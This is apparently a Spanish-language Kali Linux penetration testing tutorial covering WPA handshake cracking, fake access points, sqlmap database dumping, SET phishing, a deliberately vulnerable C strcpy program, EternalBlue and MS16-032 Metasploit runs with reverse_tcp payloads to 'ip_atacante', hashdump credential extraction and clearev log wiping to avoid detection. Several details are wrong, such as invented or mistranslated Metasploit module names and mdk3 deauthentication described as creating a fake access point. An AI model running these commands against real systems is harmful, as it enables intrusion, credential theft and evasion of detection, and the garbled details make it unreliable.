Pruebas de Penetración Avanzadas en Redes Inalámbricas

Desencriptación de WPA/WPA2

En las pruebas de penetración de redes inalámbricas, la desencriptación de WPA/WPA2 es una tarea común. Kali Linux ofrece herramientas como Aircrack-ng para ejecutar esta tarea. Primero, asegúrate de que tu tarjeta de red inalámbrica soporte el modo monitor:

airmon-ng start interfaz_wifi

Luego, utiliza Airodump-ng para capturar el paquete de apretón de mano de la red objetivo:

airodump-ng interfaz_mon

Selecciona la red objetivo y anota el BSSID y el canal. A continuación, ejecuta el siguiente comando para iniciar la captura del paquete de apretón de mano:

airodump-ng -c canal_destino --bssid bssid_destino -w archivo_captura interfaz_mon

Una vez que se capture el paquete de apretón de mano, puedes usar Aircrack-ng para intentar descifrar la contraseña. Usa un archivo de diccionario y ejecuta:

aircrack-ng -w lista_contraseñas.txt -b bssid_destino archivo_captura-01.cap

Esto intentará descifrar el paquete de apretón de mano utilizando contraseñas del archivo de diccionario.

Suplantación de Identidad Mediante Vulnerabliidades Inalámbricas

La suplantación de identidad es una técnica interesante en las pruebas de penetración inalámbrica. Al crear un punto de acceso falso, puedes guiar a los usuarios a conectarse a tu red. La herramienta mdk3 se utiliza para esta tarea.

Primero, detén el gestor de red:

service NetworkManager stop

Luego, usa mdk3 para crear un punto de acceso falso:

mdk3 interfaz_mon d -c canal -t bssid_objetivo -n ssid_falso

Esto hará que los dispositivos objetivo crean que tu punto de acceso falso es legítimo y se conecten a él.

Uso de Metasploit para Ataques Inalámbricos

Metasploit es una herramienta de pruebas de penetración poderosa que también se puede usar para la penetración inalámbrica. Al aprovechar los módulos de Metasploit, puedes ejecutar diversas tareas de ataque inalámbrico, como la descifrado de contraseñas WiFi.

Primero, inicia Metasploit:

msfconsole

Luego, carga un módulo de penetración inalámbrica en Metasploit:

use auxiliary/scanner/wifi/acceso_wifi

Configura el objetivo y los parámetros:

set RHOSTS direccion_ip_objetivo
set ESSID ssid_objetivo

Finalmente, ejecuta el módulo:

run

Esto intentará autenticarse en la red objetivo utilizando credenciales predeterminadas o contraseñas comunes.

Pruebas de Penetración en Aplicaciones Web

Escaneo Activo y Pasivo con Burp Suite

Burp Suite es una herramienta poderosa para pruebas de penetración y análisis de vulnerabilidades. Ofrece funciones de escaneo activo y pasivo, que ayudan a detectar problemas de seguridad en aplicaciones web.

Primero, asegúrate de tener Burp Suite instalado y el servicio proxy iniciado. Luego, configura tu navegador para usar el proxy de Burp Suite. Al visitar el sitio web objetivo, Burp Suite capturará las solicitudes y respuestas HTTP.

En Burp Suite, puedes usar la función de escaneo pasivo para detectar automáticamente posibles vulnerabilidades. Además, puedes usar el escaneo activo para escanear el sitio web objetivo de forma proactiva, descubriendo problemas de seguridad potenciales.

Aprovechamiento de Vulnerabilidades OWASP Top 10

El Proyecto de Seguridad en Aplicaciones Web Abierto (OWASP) proporciona una lista de las diez vulnerabilidades más importantes en aplicaciones web, que incluyen inyección SQL, secuencias de comandos entre sitios (XSS), falsificación de solicitudes entre sitios (CSRF), entre otras.

En Kali Linux, puedes usar herramientas como sqlmap para detectar y explotar estas vulnerabilidades. Por ejemplo, para realizar pruebas de inyección SQL:

sqlmap -u "http://objetivo.com/login" --data="usuario=admin&contraseña=prueba" --dump

Esto intentará detectar y explotar vulnerabilidades de inyección SQL en el sitio web objetivo, obteniendo datos de la base de datos.

Ingeniería Social en Pruebas de Penetración

La ingeniería social es una técnica importante en las pruebas de penetración, utilizada comúnmente para engañar a los usuarios y obtener información sensible. Kali Linux incluye herramientas como el Toolkit de Ingeniería Social (SET), que se puede usar para ejecutar varios ataques de ingeniería social.

setoolkit

En SET, puedes elegir diferentes tipos de ataques, incluyando ataques de phishing, generación de archivos maliciosos, etc. SET te guiará a través del proceso de creación y ejecución de estos ataques.

Ingeniería Inversa y Penetración

Uso de Ghidra e IDA Pro para Ingeniería Inversa

La ingeniería inversa es un paso clave en las pruebas de penetración, que te ayuda a comprender y analizar sistemas objetivo. Herramientas en Kali Linux, como Ghidra e IDA Pro, son asistentes poderosos para la ingeniería inversa.

Ghidra es una herramienta gratuita de ingeniería inversa desarrollada por la Agencia de Seguridad Nacional (NSA). Puedes usarla para analizar archivos binarios, ver el código desensamblado de un programa y comprender su funcionamiento interno.

ghidraRun

IDA Pro es otra herramienta popular de ingeniería inversa, que ofrece funciones potentes de desensamblado y análisis. Aunque es software comercial, hay una versión gratuita (IDA Free) para uso general.

Análisis y Explotación de Software Malicioso

En las pruebas de penetración, puedes encontrarte con software malicioso; comprender su funcionamiento es crucial para contrarrestar amenazas. Usar herramientas de análisis en Kali Linux, como Maltego y Cuckoo Sandbox, puede ayudarte en el análisis de software malicioso.

Maltego es una herramienta de inteligencia de código abierto y mapeo de red que se puede usar para visualizar información y relaciones del objetivo. Puedes usar Maltego para analizar estructuras de red, buscar entidades relacionadas y obtener inteligencia sobre el objetivo.

maltego

Cuckoo Sandbox es un sistema automatizado de análisis de software malicioso. Puede ejecutar archivos desconocidos en un entorno controlado, monitorear su comportamiento y generar informes, ayudándote a comprender la función del archivo y las amenazas potenciales.

Detección e Ingeniería Inversa de Herramientas Maliciosas en Kali Linux

En las pruebas de penetración, es vital conocer y detectar herramientas maliciosas que podrían ser usadas por atacantes. Puedes usar herramientas en Kali Linux para detectar e invertir la ingeniería de estas herramientas.

Por ejemplo, usar reglas YARA para escanear el sistema y detectar características de software malicioso:

yara -r /ruta/a/reglas /ruta/a/directorio_escaneo

Al analizar el código de herramientas maliciosas, puedes comprender mejor las intenciones del atacante y tomar medidas defensivas apropiadas.

Explotación de Vulnerabilidades Avanzadas

Ataques de Desbordamiento de Búfer

El desbordamiento de búfer es una vulnerabilidad común donde los atacantes ingresan datos que exceden el tamaño del búfer predefinido en un programa, sobrescribiendo otras áreas de la memoria del programa. Kali Linux proporciona herramientas y entornos para ejecutar ataques de desbordamiento de búfer.

Usa C para escribir un programa simple con una vulnerabilidad de desbordamiento de búfer, como este:

#include <stdio.h>
#include <string.h>

void funcion_vulnerable(char *entrada) {
    char buffer[64];
    strcpy(buffer, entrada);
    printf("Entrada: %s\n", buffer);
}

int main(int argc, char **argv) {
    if (argc != 2) {
        printf("Uso: %s <entrada>\n", argv[0]);
        return 1;
    }
    funcion_vulnerable(argv[1]);
    return 0;
}

Compila y ejecuta el programa:

gcc -o programa_vulnerable programa_vulnerable.c
./programa_vulnerable "Hola, Desbordamiento de Búfer!"

Luego, usa herramientas como gdb combinadas con marcos de explotación, como pattern_create y pattern_offset de Metasploit, para determinar el punto de desbordamiento y la dirección de retorno:

gdb -q ./programa_vulnerable

run $(pattern_create -l 100)

Cuando el programa falle:

pattern_offset [valor]

Este valor dará el desplazamiento de la dirección de retorno. Luego, puedes construir una entrada maliciosa y sobrescribir la dirección de retorno para lograr el control del programa.

Explotaciones de Kernel

Las vulnerabilidades del kernel son objetivos con una superficie de ataque amplia, ya que el kernel es el núcleo del sistema operativo. Kali Linux incluye varias herramientas y marcos de explotación del kernel, como Exploit Database, kernelpop y linux-exploit-suggester.

searchsploit linux kernel 4.4

Busca explotaciones aplicables al kernel Linux versión 4.4.

kernelpop

Ejecuta kernelpop, que analizará el kernel local y proporcionará explotaciones disponibles.

Gestión de Estado y Penetración de Red

Técnicas de Persistencia y Clandestinidad

En las pruebas de penetración, después de acceder con éxito al sistema objetivo, mantener la clandestinidad y establecer persistencia son pasos clave. Kali Linux proporciona diversas herramientas y técnicas para ayudarte a mantener el acceso al sistema objetivo.

Clandestinidad con Meterpreter

El uso del shell de Meterpreter puede lograr clandestinidad y persistencia. En una sesión de Meterpreter, puedes usar herramientas como migrate para migrar el shell de Meterpreter a otro proceso, mejorando la persistencia.

use exploit/windows/smb/ms17_010_eternalblue
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST ip_atacante
exploit

En el shell de Meterpreter, usa el siguiente comando para migrar el proceso actual a otro proceso:

migrate [id_proceso_objetivo]

Ataques y Explotaciones de Escalada de Privilegios

En las pruebas de penetración, obtener privilegios más altos es un objetivo clave. Kali Linux proporciona varias herramientas y scripts de explotación para ejecutar ataques de escalada de privilegios.

Usa módulos locales de escalada de privilegios de Metasploit:

use exploit/windows/local/ms16_032_manejador_logon_secundario_privesc
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST ip_atacante
exploit

Esto intentará explotar la vulnerabilidad MS16-032 en un sistema Windows local para la escalada de privilegios.

Recopilación y Limpieza de Datos Post-Penetración

Después de completar las pruebas de penetración, recopilar datos sobre el sistema objetivo y realizar la limpieza son pasos importantes. Kali Linux proporciona diversas herramientas para ayudarte a ejecutar estas tareas.

Para la recopilación de datos post-penetración, usa el shell de Meterpreter u otras herramientas para recopilar información del sistema objetivo, como credenciales de usuario, archivos, información de configuración, etc. Por ejemplo, usa el comando hashdump para extraer hashes de contraseñas de un sistema Windows:

hashdump

Para la limpieza de huellas, después de completar las pruebas de penetración, es crucial limpiar las huellas dejadas en el sistema objetivo. Usa herramientas como clearev para limpiar los registros de eventos de Windows:

clearev

Además, elimina archivos temporales y huellas generadas en el sistema objetivo para reducir la posibilidad de detección.